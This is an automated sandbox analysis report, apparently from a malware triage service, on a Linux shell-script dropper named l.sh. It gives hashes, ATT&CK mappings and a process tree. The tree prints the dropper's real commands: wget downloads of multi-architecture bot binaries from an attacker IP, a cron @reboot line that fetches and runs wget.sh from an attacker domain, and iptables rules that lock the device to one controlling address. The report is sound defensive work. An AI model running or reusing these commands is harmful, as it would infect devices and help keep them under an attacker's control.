c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8

Analysis

max time kernel
150s
max time network
144s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28-12-2024 10:13

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General

Target

l.sh
Size

1KB
MD5

f1bc5c9578ad5b69e09a58a6b3721b64
SHA1

b7ce08c279c3c9c846a9f8edb4214e7fc4a40d72
SHA256

c632725093e64d00e75fd6ac65faa0b27880419911c47b99319fae9a92e845f8
SHA512

5afccb744365dc43090fa8c18e965708c3e45f8239268a31e2453cc3c32ff7bab095fc1718d2f89d3c597770c973a000722b4cba95c78896b1e63a92dba93788

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
783	chmod
735	chmod
751	chmod
769	chmod
786	sh
809	chmod
812	chmod
756	chmod
760	chmod
764	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/run/user/0/upnp	752	upnp
/run/user/0/upnp	757	upnp
/run/user/0/upnp	761	upnp
/run/user/0/upnp	765	upnp
/run/user/0/upnp	770	upnp
/run/user/0/upnp	785	upnp
/run/user/0/upnp	810	upnp
/run/user/0/upnp	813	upnp

Renames itself 1 IoCs

pid	Process
785	upnp

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	80.152.203.134

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.9YuDNx	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/busybox telentd	785	upnp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/316/stat	killall
File opened for reading	/proc/374/stat	killall
File opened for reading	/proc/702/stat	killall
File opened for reading	/proc/791/cmdline	upnp
File opened for reading	/proc/799/status	upnp
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/475/stat	killall
File opened for reading	/proc/686/stat	killall
File opened for reading	/proc/805/cmdline	upnp
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/812/status	upnp
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/817/status	upnp
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/701/cmdline	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/105/stat	killall
File opened for reading	/proc/344/stat	killall
File opened for reading	/proc/707/stat	killall
File opened for reading	/proc/1/cmdline	upnp
File opened for reading	/proc/820/status	upnp
File opened for reading	/proc/self/exe	cp
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/73/stat	killall
File opened for reading	/proc/801/status	upnp
File opened for reading	/proc/805/status	upnp
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/72/stat	killall
File opened for reading	/proc/115/stat	killall
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/797/status	upnp
File opened for reading	/proc/816/status	upnp
File opened for reading	/proc/filesystems	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/800/status	upnp
File opened for reading	/proc/804/status	upnp
File opened for reading	/proc/806/status	upnp
File opened for reading	/proc/706/stat	killall
File opened for reading	/proc/710/stat	killall
File opened for reading	/proc/808/status	upnp
File opened for reading	/proc/69/stat	killall
File opened for reading	/proc/702/cmdline	killall
File opened for reading	/proc/712/stat	killall
File opened for reading	/proc/802/status	upnp
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/36/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/501/stat	killall
File opened for reading	/proc/710/cmdline	upnp
File opened for reading	/proc/80/stat	killall
File opened for reading	/proc/116/cmdline	killall
File opened for reading	/proc/393/stat	killall
File opened for reading	/proc/468/stat	killall
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/803/status	upnp

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
767	wget
770	upnp

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.a	l.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.a	l.sh

/tmp/l.sh
/tmp/l.sh
1⤵
- Writes file to shm directory
- Writes file to tmp directory
PID:710
- /usr/bin/killall
  killall -9 dvrLocker
  2⤵
  - Reads runtime system information
  PID:711
- /bin/cat
  cat /proc/mounts
  2⤵
  PID:719
- /bin/grep
  grep tmpfs
  2⤵
  PID:720
- /bin/grep
  grep rw
  2⤵
  PID:721
- /bin/grep
  grep -v noexe
  2⤵
  PID:722
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:723
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:726
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:727
- /bin/rm
  rm -rf .a .f
  2⤵
  PID:729
- /bin/cp
  cp /proc/self/exe .f
  2⤵
  - Reads runtime system information
  PID:732
- /bin/chmod
  chmod 777 .f
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /bin/rm
  rm -rf upnp
  2⤵
  PID:737
- /usr/bin/wget
  wget http://103.188.82.218/t/arm -O -
  2⤵
  PID:739
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /run/user/0/upnp
  ./upnp tplink.arm
  2⤵
  - Executes dropped EXE
  PID:752
- /usr/bin/wget
  wget http://103.188.82.218/t/arm5 -O -
  2⤵
  PID:754
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /run/user/0/upnp
  ./upnp tplink.arm5
  2⤵
  - Executes dropped EXE
  PID:757
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:759
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:761
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:763
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /run/user/0/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:765
- /usr/bin/wget
  wget http://103.188.82.218/t/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:767
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /run/user/0/upnp
  ./upnp tplink.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:770
- /usr/bin/wget
  wget http://103.188.82.218/t/mpsl -O -
  2⤵
  PID:773
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /run/user/0/upnp
  ./upnp tplink.mpsl
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Changes its process name
  - Reads runtime system information
  PID:785
- - /bin/sh
    sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
    3⤵
    - File and Directory Permissions Modification
    PID:786
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:788
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:789
- /usr/bin/wget
  wget http://103.188.82.218/t/ppc -O -
  2⤵
  PID:795
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /run/user/0/upnp
  ./upnp tplink.ppc
  2⤵
  - Executes dropped EXE
  PID:810
- /usr/bin/wget
  wget http://103.188.82.218/t/x86 -O -
  2⤵
  PID:811
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /run/user/0/upnp
  ./upnp tplink.x86
  2⤵
  - Executes dropped EXE
  PID:813
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 443 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:814
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8081 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:816
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8888 -s 95.214.53.205 -j ACCEPT
  2⤵
  PID:818
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 443 -j DROP
  2⤵
  PID:819
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 80 -j DROP
  2⤵
  PID:820
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8081 -j DROP
  2⤵
  PID:821
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8080 -j DROP
  2⤵
  PID:822
- /sbin/iptables
  iptables -A INPUT -p tcp --dport 8888 -j DROP
  2⤵
  PID:823

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/run/user/0/.f

Filesize
147KB

MD5
cb925874303b1803b2c3dc486d3f8328

SHA1
017d9efd6b451245076d3e27fdd1b3f5f49d8865

SHA256
0857b37e550e8342a347eec0b3501a1aa5d315b2caf7ba027e672092d3593fee

SHA512
e3e731934a643e03459a1d1c6d92810c66368404994f4e0f46165d0f901a70edcaec1dc0d0cb8c48ab146979231e26a99ec28e692bc751234473ebbb6555ee90

Download Submit
/run/user/0/upnp

Filesize
73KB

MD5
f812a7b3a877f717eb6e54b843b41848

SHA1
21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

SHA256
9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

SHA512
c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

Download Submit
/run/user/0/upnp

Filesize
85KB

MD5
d8b9115310ca0429f6ec2473696156a2

SHA1
5497d765ad0b6ad6ed2204338faecd9671f6a60c

SHA256
7f089801a37f1d9a83a5103c8f9b1c6fc00f9ce699cb812cc23704aea8d46c8c

SHA512
a3adc2f2a36bdf40bda9e592f03bf51c3a3e7954fbeb8e52d1517537c72efc7df2d22e8be0d1ac85b768aacb45bd77cabb0ced0885ac96c17252b8af63cdb664

Download Submit
/run/user/0/upnp

Filesize
99KB

MD5
559f129d380ad1cfb60792c6b2dc3d32

SHA1
3997a0fc0bd5958783f1751364ec407c5b170adc

SHA256
fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d

SHA512
9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112

Download Submit
/run/user/0/upnp

Filesize
100KB

MD5
de6ef4e554d7fc17efc20fabafe82de8

SHA1
eca13ec698bed4ccde75e459d9267e68cbf874e9

SHA256
9fe5e0525979f5bbff9354895b7299f0ee4a2bad41877636a71fcafaae283ec0

SHA512
2e05e623b1ed416af7dfd115daef34ad5c1a4d334a267a84900998f2c58c577e0cca3b55c5f2acc7074b6f3f957a8999d70864875d5d0534d0c28f33c97f847e

Download Submit
/run/user/0/upnp

Filesize
77KB

MD5
d09db60a70d5b53b5b53ad39476fd7e8

SHA1
73a75e5e8200f77d857a7256cc0979077e29241d

SHA256
36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

SHA512
ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

Download Submit
/var/spool/cron/crontabs/tmp.9YuDNx

Filesize
306B

MD5
0a8e16844f450cee3ba1494f80175c48

SHA1
89d133c958a4cf9be29c4e58afa4615cab126162

SHA256
9981175a3f3d32b98c8091dcee5d002fb9efdef9dad896639788dafbcd09c62f

SHA512
79e0459f536c57f325e27e1f9a7e806a541bb0a2e23b80029d95f516992b368a7d993df9dc85e4eaa89f5a2a8e7cc746a0d3f35e058095b91455e809bb4cf4fe

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads